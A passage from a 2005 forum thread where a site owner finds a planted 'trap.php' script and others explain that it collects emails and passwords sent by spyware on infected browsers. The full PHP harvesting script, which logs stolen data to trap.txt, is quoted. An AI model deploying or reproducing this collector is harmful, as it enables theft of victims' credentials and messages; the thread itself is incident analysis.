    site.

    The hacker must have another method of picking up the trap.txt
    file and retrieving the emails, so you likely still have another hole
    in your system. Unlike the trap.php, which gets hit frequently, for
    every email captured, the retrieval hole will only get called
    infrequently, whenever the hacker periodically retrieves the trap.txt
    file.

    I suggest doing a text-search of all PHP files on your site and see
    if any other references the string "trap.txt". (Of course the hacker
    may not require PHP to pick up the trap.txt, they could be exploiting
    some other non-PHP hole.)

    My guess as to how the hack works, is that the people being spyed on
    have had their Internet Explorer hacked by a program that recognizes
    when a Button has been pressed, like "Send", or "Submit", and when
    the user clicks that button, it extracts all fields on the page
    (email addresses, email contents etc) and folds them into the $data
    variable and then sends them to your server using an HTTP POST
    command.

    For whatever reason, it first checks the title of the sending window
    for "msn hotmail - new message", or "chat window", or "msn hotmail -
    inbox" and IGNORES those. It also ignores any that have "/search",
    "showletter?" or "showfolder?" or "http://fe.bidz.com/".
    (Why I don't know, they have just decided they are not interested in
    those.)

    Look at the captured data. It contains a lot of one person
    (IP=82.39.248.31) clicking the Delete button.
    There are some actual captured emails, from which the email address
    and even password of the hacked person can be seen.

    PLEASE keep a copy of that file trap.txt.
    You should consider notifying any people in that file that they have
    been comprimised. I am already sending an email myself.

    HTH
    Mark
    Mark C, Nov 18, 2005
    #9
  10. a.d.

    Enkidu Guest

    Mark C wrote:
    >
    > PLEASE keep a copy of that file trap.txt.
    > You should consider notifying any people in that file that they have
    > been comprimised. I am already sending an email myself.
    >

    They will probably ignore it, either because they do not understand it,
    or if they do understand it they may consider your email to be some sort
    of scam. If they FULLY understand it, it is unlikely that they will have
    been caught originally.

    Nice idea, but pragmatically, it won't have the desired effect. 8-(

    Cheers,

    Cliff
    Enkidu, Nov 18, 2005
    #10
  11. a.d.

    a.d. Guest

    AD. wrote:
    > On Fri, 18 Nov 2005 16:49:10 +1300, a.d. wrote:
    >
    >
    >>>I'd be more concerned with how it got there than what it does.
    >>>
    >>>

    >>
    >>Damn shared service location - I think, FTP logs show no record of it
    >>being uploaded. I've made my admin password a gajillion times more secure
    >>now.

    >
    >
    > You don't have any world writable directories do you?

    <snip>


    Good point... telnet here I come...
    a.d., Nov 18, 2005
    #11
  12. a.d.

    a.d. Guest

    Enkidu wrote:
    > Mark C wrote:
    >
    >>
    >> PLEASE keep a copy of that file trap.txt.
    >> You should consider notifying any people in that file that they have
    >> been comprimised. I am already sending an email myself.
    >>

    > They will probably ignore it, either because they do not understand it,
    > or if they do understand it they may consider your email to be some sort
    > of scam. If they FULLY understand it, it is unlikely that they will have
    > been caught originally.
    >
    > Nice idea, but pragmatically, it won't have the desired effect. 8-(
    >
    > Cheers,
    >
    > Cliff


    Incidentally, the "trap.txt" file was about 89MB when I found it (and
    deleted it). 10 minutes after I deleted it, "trap.txt" was up to about
    60kb in size.


    Hmmmmm..... I should have thought about it more thoroughly. Make my own
    trap.txt and put a little message in it.

    Pity the FTP logs don't show the IP address of who put it there, just me
    downloading it.
    a.d., Nov 18, 2005
    #12
  13. a.d.

    a.d. Guest

    steve wrote:
    > a.d. wrote:
    >
    >
    >>Hi All
    >>
    >>Anybody mind telling me what this script does? It mysteriously appeared
    >>in a directory on my web site and seems to get a few thousand hits a
    >>week, (more than more own pages!). To me, it looks like it's data
    >>harvesting from MSN or something, but what the heck is it's purpose and
    >>WHY did someone put it on my site???

    >
    >
    >
    > You know the attachments seems to contain some IM mesaages that could be
    > deemed to be compromising?
    >
    > They name names and ID people...and say things like someone (named) had an
    > affair with someone else......
    >
    >
    >


    I must admit, I didn't actually look very hard at the "trap.txt" files
    contents.
    a.d., Nov 18, 2005
    #13
  14. a.d.

    a.d. Guest

    Re: Help, mysterious PHP script appeared on my web site - progress!

    a.d. wrote:
    > Hi All
    >
    > Anybody mind telling me what this script does? It mysteriously appeared
    > in a directory on my web site and seems to get a few thousand hits a
    > week, (more than more own pages!). To me, it looks like it's data
    > harvesting from MSN or something, but what the heck is it's purpose and
    > WHY did someone put it on my site???
    >
    > SCRIPT: "trap.php"
    >
    > <?php
    > if ($_SERVER['REQUEST_METHOD']=='POST'){
    > if (strpos(strtolower($title),"msn hotmail - new message")===FALSE){
    > if (strpos(strtolower($title),"chat window")===FALSE){
    > if (strpos(strtolower($title),"msn hotmail - inbox")===FALSE){
    > if (strpos(strtolower($url),"/search")===FALSE){
    > if (strpos(strtolower($url),"showletter?")===FALSE){
    > if (strpos(strtolower($url),"showfolder?")===FALSE){
    > if (strpos(strtolower($url),"http://fe.bidz.com/")===FALSE){
    > $data=base64_decode($data);
    > if (substr(strtolower($data),0,7)!=="clsid={"){
    > $fg = fopen("trap.txt",'a');
    > $ip=$_SERVER['REMOTE_ADDR'];
    > fwrite($fg,"ID=".$id."\t"."IP=".$_SERVER['REMOTE_ADDR']."\t"."title=".$title."\t"."URL=".$url."\t"."data:
    > ".$data."\r\n");
    > fclose($fg);
    > }
    > }
    > }
    > }
    > }
    > }
    > }
    > }
    > }
    > ?>

    </snip>

    I think I may have them! I've been keeping an eye on the error logs for
    my site since I deleted trap.txt.

    There are heaps of trap.php accesses, which belong to the poor infected
    saps, but only the muppet who wrote the script would request trap.txt
    specifically.

    For example, check this out:

    [Fri Nov 18 14:24:39 2005] [error] [client 63.224.211.207] File does not
    exist: /home/virtual/site26/fst/var/www/html/images/trap.txt

    DNSStuff.com is a wonderful site....

    Reverse DNS Lookup:
    63.224.211.207 PTR record: 63-224-211-207.spkn.qwest.net.

    I think I might have to send an email or two to abuse@... as there is
    more than one IP address requesting trap.txt. So far, I've recorded one
    IP address from the USA (see above), one from India, one from Russia,
    and one from England.

    I find this all quite interesting while at the same time annoyed that
    random people around the globe are hammering my site without realising it.

    Oh well. I'll follow Mark C's idea and try and email the affected
    people. See what happens.

    Thanks for all the input.
    a.d.
    a.d., Nov 18, 2005
    #14
  15. a.d.

    Mark C Guest

    "a.d." <> wrote in news:437db40a$:

    > Enkidu wrote:
    >> Mark C wrote:
    >>
    >>>
    >>> PLEASE keep a copy of that file trap.txt.
    >>> You should consider notifying any people in that file that
    >>> they have been comprimised. I am already sending an email
    >>> myself.
    >>>

    >> They will probably ignore it, either because they do not
    >> understand it, or if they do understand it they may consider
    >> your email to be some sort of scam. If they FULLY understand
    >> it, it is unlikely that they will have been caught originally.
    >>
    >> Nice idea, but pragmatically, it won't have the desired effect.
    >> 8-(
    >>
    >> Cheers,
    >>
    >> Cliff

    >
    > Incidentally, the "trap.txt" file was about 89MB when I found it
    > (and deleted it). 10 minutes after I deleted it, "trap.txt" was
    > up to about 60kb in size.
    >
    >
    > Hmmmmm..... I should have thought about it more thoroughly. Make
    > my own trap.txt and put a little message in it.


    Good that you have moved or deleted the trap.txt.
    I suggested earlier the hacker may need an exploit or hole to
    retrieve it, but they probably don't. I expect all they needed to do
    was browse to http://(etc)/trap.txt and your server would have
    delivered it to them.

    Do your logs show everybody who accessed a URL that had "trap.txt" in
    it? One of those may have been the hacker.

    > Pity the FTP logs don't show the IP address of who put it there,
    > just me downloading it.


    If an exhaustive search of the logs only shows your IP accessing it,
    it is possible you caught it before the hacker had a chance to get it
    (unless they used a PHP file to deliver it to them, do search your
    PHP files for any that reference "trap.txt").
    Mark C, Nov 19, 2005
    #15
  16. a.d.

    a.d. Guest

    Mark C wrote:
    > "a.d." <> wrote in news:437db40a$:
    >
    >
    >>Enkidu wrote:
    >>
    >>>Mark C wrote:
    >>>
    >>>
    >>>>PLEASE keep a copy of that file trap.txt.
    >>>>You should consider notifying any people in that file that
    >>>>they have been comprimised. I am already sending an email
    >>>>myself.
    >>>>
    >>>
    >>>They will probably ignore it, either because they do not
    >>>understand it, or if they do understand it they may consider
    >>>your email to be some sort of scam. If they FULLY understand
    >>>it, it is unlikely that they will have been caught originally.
    >>>
    >>>Nice idea, but pragmatically, it won't have the desired effect.
    >>>8-(
    >>>
    >>>Cheers,
    >>>
    >>>Cliff

    >>
    >>Incidentally, the "trap.txt" file was about 89MB when I found it
    >>(and deleted it). 10 minutes after I deleted it, "trap.txt" was
    >>up to about 60kb in size.
    >>
    >>
    >>Hmmmmm..... I should have thought about it more thoroughly. Make
    >>my own trap.txt and put a little message in it.

    >
    >
    > Good that you have moved or deleted the trap.txt.
    > I suggested earlier the hacker may need an exploit or hole to
    > retrieve it, but they probably don't. I expect all they needed to do
    > was browse to http://(etc)/trap.txt and your server would have
    > delivered it to them.
    >
    > Do your logs show everybody who accessed a URL that had "trap.txt" in
    > it? One of those may have been the hacker.
    >
    >
    >>Pity the FTP logs don't show the IP address of who put it there,
    >>just me downloading it.

    >
    >
    > If an exhaustive search of the logs only shows your IP accessing it,
    > it is possible you caught it before the hacker had a chance to get it
    > (unless they used a PHP file to deliver it to them, do search your
    > PHP files for any that reference "trap.txt").
    >


    No one accessed it apart from me which is a relief when you think about it.

    I thought about replacing trap.php with a script that:
    - gets the IP address of the infected computer,
    - checks the IP address against the list of harvested IP addresses,
    - adds it too the list if not there, and then
    - sends an email to in (maybe in)
    advising that their customers computer had been infected.

    Should be a nice wee project for me, good teaching tool to help me learn
    PHP.

    Anyone know of any global WHOIS that can interact with a PHP script?
    a.d., Nov 19, 2005
    #16
  17. a.d.

    Rob J Guest

    In article <>, says...
    > Mark C wrote:
    > > "a.d." <> wrote in news:437db40a$:
    > >
    > >
    > >>Enkidu wrote:
    > >>
    > >>>Mark C wrote:
    > >>>
    > >>>
    > >>>>PLEASE keep a copy of that file trap.txt.
    > >>>>You should consider notifying any people in that file that
    > >>>>they have been comprimised. I am already sending an email
    > >>>>myself.
    > >>>>
    > >>>
    > >>>They will probably ignore it, either because they do not
    > >>>understand it, or if they do understand it they may consider
    > >>>your email to be some sort of scam. If they FULLY understand
    > >>>it, it is unlikely that they will have been caught originally.
    > >>>
    > >>>Nice idea, but pragmatically, it won't have the desired effect.
    > >>>8-(
    > >>>
    > >>>Cheers,
    > >>>
    > >>>Cliff
    > >>
    > >>Incidentally, the "trap.txt" file was about 89MB when I found it
    > >>(and deleted it). 10 minutes after I deleted it, "trap.txt" was
    > >>up to about 60kb in size.
    > >>
    > >>
    > >>Hmmmmm..... I should have thought about it more thoroughly. Make
    > >>my own trap.txt and put a little message in it.

    > >
    > >
    > > Good that you have moved or deleted the trap.txt.
    > > I suggested earlier the hacker may need an exploit or hole to
    > > retrieve it, but they probably don't. I expect all they needed to do
    > > was browse to http://(etc)/trap.txt and your server would have
    > > delivered it to them.
    > >
    > > Do your logs show everybody who accessed a URL that had "trap.txt" in
    > > it? One of those may have been the hacker.
    > >
    > >
    > >>Pity the FTP logs don't show the IP address of who put it there,
    > >>just me downloading it.

    > >
    > >
    > > If an exhaustive search of the logs only shows your IP accessing it,
    > > it is possible you caught it before the hacker had a chance to get it
    > > (unless they used a PHP file to deliver it to them, do search your
    > > PHP files for any that reference "trap.txt").
    > >

    >
    > No one accessed it apart from me which is a relief when you think about it.
    >
    > I thought about replacing trap.php with a script that:
    > - gets the IP address of the infected computer,
    > - checks the IP address against the list of harvested IP addresses,
    > - adds it too the list if not there, and then
    > - sends an email to in (maybe in)
    > advising that their customers computer had been infected.
    >
    > Should be a nice wee project for me, good teaching tool to help me learn
    > PHP.
    >
    > Anyone know of any global WHOIS that can interact with a PHP script?



    Isn't whois a protocol/server that you can run on your server?
    Rob J, Nov 20, 2005
    #17
  18. a.d.

    David Guest

    Rob J wrote:
    > In article <>, says...
    >
    >>Mark C wrote:
    >>
    >>>"a.d." <> wrote in news:437db40a$:
    >>>
    >>>
    >>>
    >>>>Enkidu wrote:
    >>>>
    >>>>
    >>>>>Mark C wrote:
    >>>>>
    >>>>>
    >>>>>
    >>>>>>PLEASE keep a copy of that file trap.txt.
    >>>>>>You should consider notifying any people in that file that
    >>>>>>they have been comprimised. I am already sending an email
    >>>>>>myself.
    >>>>>>
    >>>>>
    >>>>>They will probably ignore it, either because they do not
    >>>>>understand it, or if they do understand it they may consider
    >>>>>your email to be some sort of scam. If they FULLY understand
    >>>>>it, it is unlikely that they will have been caught originally.
    >>>>>
    >>>>>Nice idea, but pragmatically, it won't have the desired effect.
    >>>>>8-(
    >>>>>
    >>>>>Cheers,
    >>>>>
    >>>>>Cliff
    >>>>
    >>>>Incidentally, the "trap.txt" file was about 89MB when I found it
    >>>>(and deleted it). 10 minutes after I deleted it, "trap.txt" was
    >>>>up to about 60kb in size.
    >>>>
    >>>>
    >>>>Hmmmmm..... I should have thought about it more thoroughly. Make
    >>>>my own trap.txt and put a little message in it.
    >>>
    >>>
    >>>Good that you have moved or deleted the trap.txt.
    >>>I suggested earlier the hacker may need an exploit or hole to
    >>>retrieve it, but they probably don't. I expect all they needed to do
    >>>was browse to http://(etc)/trap.txt and your server would have
    >>>delivered it to them.
    >>>
    >>>Do your logs show everybody who accessed a URL that had "trap.txt" in
    >>>it? One of those may have been the hacker.
    >>>
    >>>
    >>>
    >>>>Pity the FTP logs don't show the IP address of who put it there,
    >>>>just me downloading it.
    >>>
    >>>
    >>>If an exhaustive search of the logs only shows your IP accessing it,
    >>>it is possible you caught it before the hacker had a chance to get it
    >>>(unless they used a PHP file to deliver it to them, do search your
    >>>PHP files for any that reference "trap.txt").
    >>>

    >>
    >>No one accessed it apart from me which is a relief when you think about it.
    >>
    >>I thought about replacing trap.php with a script that:
    >>- gets the IP address of the infected computer,
    >>- checks the IP address against the list of harvested IP addresses,
    >>- adds it too the list if not there, and then
    >>- sends an email to in (maybe in)
    >>advising that their customers computer had been infected.
    >>
    >>Should be a nice wee project for me, good teaching tool to help me learn
    >>PHP.
    >>
    >>Anyone know of any global WHOIS that can interact with a PHP script?

    >
    >
    >
    > Isn't whois a protocol/server that you can run on your server?
    >


    I thought it was available on almost every system, just run whois at the
    commandline. I'm thinking that what you really meant was a reverse DNS
    lookup, like the gethostbyaddr() function. You will find that this
    function exists in PHP too: http://nz2.php.net/function.gethostbyaddr
    David, Nov 20, 2005
    #18
  19. a.d.

    a.d. Guest

    David wrote:
    > Rob J wrote:
    >
    >> In article <>, says...
    >>
    >>> Mark C wrote:
    >>>
    >>>> "a.d." <> wrote in news:437db40a$:
    >>>>
    >>>>
    >>>>
    >>>>> Enkidu wrote:
    >>>>>
    >>>>>
    >>>>>> Mark C wrote:
    >>>>>>
    >>>>>>
    >>>>>>
    >>>>>>> PLEASE keep a copy of that file trap.txt.
    >>>>>>> You should consider notifying any people in that file that
    >>>>>>> they have been comprimised. I am already sending an email
    >>>>>>> myself.
    >>>>>>
    >>>>>>
    >>>>>> They will probably ignore it, either because they do not
    >>>>>> understand it, or if they do understand it they may consider
    >>>>>> your email to be some sort of scam. If they FULLY understand
    >>>>>> it, it is unlikely that they will have been caught originally.
    >>>>>>
    >>>>>> Nice idea, but pragmatically, it won't have the desired effect.
    >>>>>> 8-(
    >>>>>> Cheers,
    >>>>>>
    >>>>>> Cliff
    >>>>>
    >>>>>
    >>>>> Incidentally, the "trap.txt" file was about 89MB when I found it
    >>>>> (and deleted it). 10 minutes after I deleted it, "trap.txt" was
    >>>>> up to about 60kb in size.
    >>>>>
    >>>>>
    >>>>> Hmmmmm..... I should have thought about it more thoroughly. Make
    >>>>> my own trap.txt and put a little message in it.
    >>>>
    >>>>
    >>>>
    >>>> Good that you have moved or deleted the trap.txt.
    >>>> I suggested earlier the hacker may need an exploit or hole to
    >>>> retrieve it, but they probably don't. I expect all they needed to do
    >>>> was browse to http://(etc)/trap.txt and your server would have
    >>>> delivered it to them.
    >>>>
    >>>> Do your logs show everybody who accessed a URL that had "trap.txt"
    >>>> in it? One of those may have been the hacker.
    >>>>
    >>>>
    >>>>
    >>>>> Pity the FTP logs don't show the IP address of who put it there,
    >>>>> just me downloading it.
    >>>>
    >>>>
    >>>>
    >>>> If an exhaustive search of the logs only shows your IP accessing it,
    >>>> it is possible you caught it before the hacker had a chance to get
    >>>> it (unless they used a PHP file to deliver it to them, do search
    >>>> your PHP files for any that reference "trap.txt").
    >>>>
    >>>
    >>> No one accessed it apart from me which is a relief when you think
    >>> about it.
    >>>
    >>> I thought about replacing trap.php with a script that:
    >>> - gets the IP address of the infected computer,
    >>> - checks the IP address against the list of harvested IP addresses,
    >>> - adds it too the list if not there, and then
    >>> - sends an email to in (maybe in)
    >>> advising that their customers computer had been infected.
    >>>
    >>> Should be a nice wee project for me, good teaching tool to help me
    >>> learn PHP.
    >>>
    >>> Anyone know of any global WHOIS that can interact with a PHP script?

    >>
    >>
    >>
    >>
    >> Isn't whois a protocol/server that you can run on your server?
    >>

    >
    >
    > I thought it was available on almost every system, just run whois at the
    > commandline. I'm thinking that what you really meant was a reverse DNS
    > lookup, like the gethostbyaddr() function. You will find that this
    > function exists in PHP too: http://nz2.php.net/function.gethostbyaddr


    Cheers, that helps.
    a.d., Nov 23, 2005
    #19
    1. Advertising

Want to reply to this thread or ask your own question?

It takes just 2 minutes to sign up (and it's free!). Just click the sign up button to choose a username and then you can ask your own questions on the forum.
Similar Threads
  1. Julie P.

    Mysterious Folders Have Appeared

    Julie P., Jun 13, 2004, in forum: Computer Support
    Replies:
    8
    Views:
    3,825
    °Mike°
    Jun 15, 2004
  2. raviraj joshi
    Replies:
    0
    Views:
    605
    raviraj joshi
    Jul 4, 2009
  3. EVS
    Replies:
    0
    Views:
    1,799
  4. infocus
    Replies:
    0
    Views:
    861
    infocus
    Jul 19, 2010
  5. EVS
    Replies:
    0
    Views:
    1,618
Loading...

Share This Page